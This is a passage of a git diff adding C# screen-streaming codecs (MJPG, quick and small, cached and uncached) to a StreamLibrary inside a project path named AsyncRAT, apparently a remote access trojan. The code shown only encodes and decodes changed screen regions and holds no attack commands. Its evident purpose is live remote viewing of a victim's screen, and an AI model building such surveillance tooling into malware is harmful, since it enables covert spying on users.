tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs new file mode 100644 index 0000000..072ff3e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs @@ -0,0 +1,68 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + /// + /// The M-JPG codec is not very efficient for networking as it is just a very simple codec + /// + public class MJPGCodec : IVideoCodec + { + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override ulong CachedSize + { + get { return 0; } + internal set { } + } + + public override int BufferCount + { + get { return 0; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.None; } + } + + public MJPGCodec(int ImageQuality = 100) + : base(ImageQuality) + { + + } + + public override void CodeImage(Bitmap bitmap, Stream outStream) + { + lock (base.jpgCompression) + { + byte[] data = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(data.Length), 0, 4); + outStream.Write(data, 0, data.Length); + } + } + + public override Bitmap DecodeData(Stream inStream) + { + lock (base.jpgCompression) + { + if (!inStream.CanRead) + throw new Exception("Must have access to Read in the Stream"); + + byte[] temp = new byte[4]; + inStream.Read(temp, 0, temp.Length); + int DataLength = BitConverter.ToInt32(temp, 0); + temp = new byte[DataLength]; + inStream.Read(temp, 0, temp.Length); + return (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs new file mode 100644 index 0000000..e9dc63c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs @@ -0,0 +1,204 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class QuickCachedStreamCodec : IVideoCodec + { + private Bitmap CodeTempBitmap; + private Bitmap DecodeTempBitmap; + + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + public override ulong CachedSize + { + get; + internal set; + } + + public int MaxBuffers { get; private set; } + private SortedList EncodeCache; + private SortedList DecodeCache; + + + /// + /// Initialize a new object of QuickStreamCodec + /// + /// The image quality 0-100% + public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) + : base(ImageQuality) + { + this.MaxBuffers = MaxBuffers; + this.EncodeCache = new SortedList(); + this.DecodeCache = new SortedList(); + } + + public override int BufferCount + { + get { return 1; } + } + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } + } + + public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) + { + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + if (CodeTempBitmap != null) + { + if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + } + + if (CodeTempBitmap == null) + { + byte[] temp = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + CodeTempBitmap = bitmap; + return; + } + + BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); + BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); + int Stride = Math.Abs(bmpData.Stride); + + List Blocks = new List(); + + for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) + { + if (onCodeDebugScan != null) + onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); + + Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); + if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) + { + byte[] temp = new byte[Stride]; + fixed(byte* ptr = temp) + { + NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length); + } + + CRC32 hasher = new CRC32(); + int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0); + + if (EncodeCache.Count >= MaxBuffers) + EncodeCache.RemoveAt(0); + + if (EncodeCache.ContainsKey(hash)) + { + outStream.WriteByte(1); + outStream.Write(new byte[4], 0, 4); + outStream.Write(BitConverter.GetBytes(hash), 0, 4); + outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); + } + else + { + outStream.WriteByte(0); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(BitConverter.GetBytes(hash), 0, 4); + outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); + outStream.Write(temp, 0, temp.Length); + EncodeCache.Add(hash, temp); + } + Blocks.Add(ScanBlock); + } + } + + for (int i = 0; i < Blocks.Count; i++) + { + Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); + byte[] temp = base.jpgCompression.Compress(cloned); + + cloned.Dispose(); + } + + bitmap.UnlockBits(bmpData); + CodeTempBitmap.UnlockBits(CodeBmpData); + + if (onVideoStreamCoding != null) + onVideoStreamCoding(outStream, Blocks.ToArray()); + + if (CodeTempBitmap != null) + CodeTempBitmap.Dispose(); + this.CodeTempBitmap = bitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + if (!inStream.CanRead) + throw new Exception("Must have access to Read in the Stream"); + + if (DecodeTempBitmap == null) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return DecodeTempBitmap; + } + + //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); + //int Stride = Math.Abs(BmpData.Stride); + + while (inStream.Position < inStream.Length) + { + byte[] temp = new byte[11]; + if (inStream.Read(temp, 0, temp.Length) != temp.Length) + break; + + bool inCache = temp[0] == 1; + int DataSize = BitConverter.ToInt32(temp, 1); + int Hash = BitConverter.ToInt32(temp, 5); + ushort Y = BitConverter.ToUInt16(temp, 9); + + temp = new byte[DataSize]; + if (inStream.Read(temp, 0, temp.Length) != temp.Length) + break; + + if (inCache) + { + if (DecodeCache.ContainsKey(Hash)) + { + temp = DecodeCache[Hash]; + } + else + { + + } + } + + //copy new data to cached bitmap + Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) + { + g.DrawImage(tmpBmp, new Point(0, Y)); + } + + /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); + int Offset = Y * Stride; + NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ + //tmpBmp.UnlockBits(tmpData); + tmpBmp.Dispose(); + } + //DecodeTempBitmap.UnlockBits(BmpData); + + return DecodeTempBitmap; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs new file mode 100644 index 0000000..ee8227c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs @@ -0,0 +1,179 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class QuickStreamCodec : IVideoCodec + { + private Bitmap CodeTempBitmap; + private Bitmap DecodeTempBitmap; + + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + public override ulong CachedSize + { + get; + internal set; + } + + /// + /// Initialize a new object of QuickStreamCodec + /// + /// The image quality 0-100% + public QuickStreamCodec(int ImageQuality = 100) + : base(ImageQuality) + { + + } + + public override int BufferCount + { + get { return 1; } + } + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } + } + + public override void CodeImage(Bitmap bitmap, Stream outStream) + { + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + if (CodeTempBitmap != null) + { + if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + } + + if (CodeTempBitmap == null) + { + byte[] temp = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + CodeTempBitmap = bitmap; + return; + } + + BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); + BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); + int Stride = Math.Abs(bmpData.Stride); + + List Blocks = new List(); + + for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) + { + if(onCodeDebugScan != null) + onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); + + Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); + if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) + { + int index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y) + { + ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height); + Blocks[index] = ScanBlock; + } + else + { + Blocks.Add(ScanBlock); + } + } + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + for (int i = 0; i < Blocks.Count; i++) + { + Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); + byte[] temp = base.jpgCompression.Compress(cloned); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2); + outStream.Write(temp, 0, temp.Length); + cloned.Dispose(); + TotalDataLength += 6 + temp.Length; + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + + bitmap.UnlockBits(bmpData); + CodeTempBitmap.UnlockBits(CodeBmpData); + + if (onVideoStreamCoding != null) + onVideoStreamCoding(outStream, Blocks.ToArray()); + + if (CodeTempBitmap != null) + CodeTempBitmap.Dispose(); + this.CodeTempBitmap = bitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + if (!inStream.CanRead) + throw new Exception("Must have access to Read in the Stream"); + + if (DecodeTempBitmap == null) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 4); + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return DecodeTempBitmap; + } + + + byte[] LenTemp = new byte[4]; + inStream.Read(LenTemp, 0, 4); + int DataLength = BitConverter.ToInt32(LenTemp, 0); + + //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); + //int Stride = Math.Abs(BmpData.Stride); + + while (DataLength > 0) + { + byte[] temp = new byte[6]; + if (inStream.Read(temp, 0, temp.Length) != temp.Length) + break; + + int DataSize = BitConverter.ToInt32(temp, 0); + ushort Y = BitConverter.ToUInt16(temp, 4); + temp = new byte[DataSize]; + if (inStream.Read(temp, 0, temp.Length) != temp.Length) + break; + + //copy new data to cached bitmap + Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) + { + g.DrawImage(tmpBmp, new Point(0, Y)); + } + + /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); + int Offset = Y * Stride; + NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ + //tmpBmp.UnlockBits(tmpData); + tmpBmp.Dispose(); + DataLength -= 6 + temp.Length; + } + //DecodeTempBitmap.UnlockBits(BmpData); + + return DecodeTempBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs new file mode 100644 index 0000000..85155be --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs @@ -0,0 +1,374 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class SmallCachedStreamCodec : IVideoCodec + { + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + SortedList codeCached; + SortedList decodeCached; + public override int BufferCount + { + get { return codeCached.Count; } + } + public override ulong CachedSize + { + get; + internal set; + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; } + } + + private Size CheckBlock { get; set; } + public SimpleBitmap LastFrame { get; set; } + private object ImageProcessLock = new object(); + private Bitmap decodedBitmap; + private CRC32 hasher; + public int MaxBuffers { get; private set; } + + /// + /// Initialize a new object of SmallCachedStreamCodec + /// + /// The maximum amount of buffers, higher value will decrease stream size but could decrease performance + /// The image quality 0-100% + public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) + : base(ImageQuality) + { + CheckBlock = new Size(20, 1); + codeCached = new SortedList(); + decodeCached = new SortedList(); + hasher = new CRC32(); + this.MaxBuffers = MaxBuffers; + } + + private void SetLastFrame(ref Bitmap bmp) + { + SetLastFrame(new SimpleBitmap(bmp)); + } + private void SetLastFrame(SimpleBitmap bmp) + { + lock (ImageProcessLock) + { + if (LastFrame != null && LastFrame.Locked) + LastFrame.Dispose(true); + LastFrame = bmp; + } + } + + public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) + { + lock (ImageProcessLock) + { + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + if (LastFrame == null) + { + byte[] temp = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + SetLastFrame(ref bitmap); + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + List updates = new List(); + SimpleBitmap sbBmp = new SimpleBitmap(bitmap); + MemoryStream ms = new MemoryStream(); + byte[] buffer = null; + + if (!LastFrame.Locked) + LastFrame.Lock(); + + sbBmp.Lock(); + + if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) + { + sbBmp.Unlock(); + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + } + + List Blocks = new List(); + int index = 0; + + int y = 0; + int x = 0; + + Size s = new Size(bitmap.Width, CheckBlock.Height); + Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); + + int lasty = bitmap.Height - lastSize.Height; + int lastx = bitmap.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + + s = new Size(bitmap.Width, s.Height); + while (y != bitmap.Height) + { + if (y == lasty) + s = new Size(bitmap.Width, lastSize.Height); + + cBlock = new Rectangle(0, y, bitmap.Width, s.Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) + //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) + { + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + List finalUpdates = new List(); + const int CheckHeight = 50; + for (int i = 0; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + y = Blocks[i].Y; + lasty = (Blocks[i].Y + Blocks[i].Height); + + while (y != lasty) + { + int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight; + x = 0; + while (x != bitmap.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + cBlock = new Rectangle(x, y, s.Width, ScanHeight); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) + { + /*byte[] tempData = new byte[0]; + LastFrame.CopyBlock(cBlock, ref tempData); + finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/ + + //hash it and see if exists in cache + hasher = new CRC32(); //re-initialize for seed + byte[] tempData = new byte[0]; + LastFrame.CopyBlock(cBlock, ref tempData); + int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0); + + if (codeCached.Count >= MaxBuffers) + codeCached.RemoveAt(0); + + if (codeCached.ContainsKey(hash)) + { + CachedSize += (ulong)tempData.Length; + finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock)); + } + else + { + //nothing found in cache let's use the normal way + codeCached.Add(hash, tempData); + finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock)); + } + } + x += s.Width; + } + y += ScanHeight; + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + buffer = new byte[0]; + Rectangle rect = finalUpdates[i].Rect; + + if (!finalUpdates[i].isCached) + { + fixed (byte* ptr = finalUpdates[i].Data) + { + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) + { + buffer = base.jpgCompression.Compress(TmpBmp); + } + } + } + + outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4); + outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); + outStream.Write(buffer, 0, buffer.Length); + TotalDataLength += buffer.Length + (4 * 6) + 1; + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + + Blocks.Clear(); + SetLastFrame(sbBmp); + ms.Close(); + ms.Dispose(); + } + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + List cacheInfo = new List(); + byte[] HeaderData = new byte[(4 * 6) + 1]; + + while (DataSize > 0) + { + inStream.Read(HeaderData, 0, HeaderData.Length); + + bool isCached = HeaderData[0] == 1; + rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5), + BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13)); + int Hash = BitConverter.ToInt32(HeaderData, 17); + int UpdateLen = BitConverter.ToInt32(HeaderData, 21); + + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + //process update data + if (isCached) + { + //data is cached + if (decodeCached.ContainsKey(Hash)) + buffer = decodeCached[Hash]; + else + { + + } + cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect)); + } + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + if (buffer.Length > 0) + { + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + + tmp.Dispose(); + m.Close(); + m.Dispose(); + } + + if (decodeCached.Count >= MaxBuffers) + decodeCached.RemoveAt(0); + + if(!decodeCached.ContainsKey(Hash)) + this.decodeCached.Add(Hash, buffer); + DataSize -= UpdateLen + HeaderData.Length; + } + + int CachedSize = 0; + foreach(CacheInfo inf in cacheInfo) + { + CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height; + + + } + Console.WriteLine(cacheInfo.Count + ", " + CachedSize); + g.Dispose(); + return decodedBitmap; + } + + private class CacheInfo + { + public bool isCached = false; + public byte[] Data; + public int Hash; + public Rectangle Rect; + + public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect) + { + this.Hash = Hash; + this.isCached = isCached; + this.Data = Data; + this.Rect = Rect; + } + + /*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec) + { + if (ScanRects.Count > 0) + { + int scanX = ScanRects[0].X; + for (int i = 0; i < ScanRects.Count; i++) + { + int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width; + Rectangle rect = ScanRects[i]; + rect.Width = scanWidth; + rect.X = scanX; + byte[] buffer = new byte[0]; + sBmp.CopyBlock(rect, ref buffer); + + int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0); + + if (!HashList.ContainsKey(hash)) + HashList.Add(hash, rect); + + //fixed (byte* ptr = buffer) + //{ + // using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr))) + // { + // buffer = codec.lzwCompression.Compress(TmpBmp); + // + // } + //} + + scanX += scanWidth; + } + } + }*/ + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs new file mode 100644 index 0000000..0dea684 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs @@ -0,0 +1,266 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class SmallStreamCodec : IVideoCodec + { + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 1; } + } + public override ulong CachedSize + { + get; + internal set; + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } + } + + public Size CheckBlock { get; set; } + public SimpleBitmap LastFrame { get; set; } + private object ImageProcessLock = new object(); + private Bitmap decodedBitmap; + + /// + /// Initialize a new object of SmallStreamCodec + /// + /// The image quality 0-100% + public SmallStreamCodec(int ImageQuality = 100) + : base(ImageQuality) + { + CheckBlock = new Size(20, 1); + } + + private void SetLastFrame(ref Bitmap bmp) + { + SetLastFrame(new SimpleBitmap(bmp)); + } + private void SetLastFrame(SimpleBitmap bmp) + { + lock (ImageProcessLock) + { + if (LastFrame != null && LastFrame.Locked) + LastFrame.Dispose(true); + LastFrame = bmp; + } + } + + /// + /// Encode the image + /// + /// The image you want to encode. + /// The output stream + public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) + { + lock (ImageProcessLock) + { + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + if (LastFrame == null) + { + byte[] temp = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + SetLastFrame(ref bitmap); + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + List updates = new List(); + SimpleBitmap sbBmp = new SimpleBitmap(bitmap); + MemoryStream ms = new MemoryStream(); + byte[] buffer = null; + + if (!LastFrame.Locked) + LastFrame.Lock(); + + sbBmp.Lock(); + + if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) + { + sbBmp.Unlock(); + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + } + + List Blocks = new List(); + int index = 0; + + int y = 0; + int x = 0; + + Size s = new Size(bitmap.Width, CheckBlock.Height); + Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); + + int lasty = bitmap.Height - lastSize.Height; + int lastx = bitmap.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + + s = new Size(bitmap.Width, s.Height); + while (y != bitmap.Height) + { + if (y == lasty) + s = new Size(bitmap.Width, lastSize.Height); + + cBlock = new Rectangle(0, y, bitmap.Width, s.Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) + //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) + { + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + List finalUpdates = new List(); + for (int i = 0; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + x = 0; + while (x != bitmap.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + + cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) + { + index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, 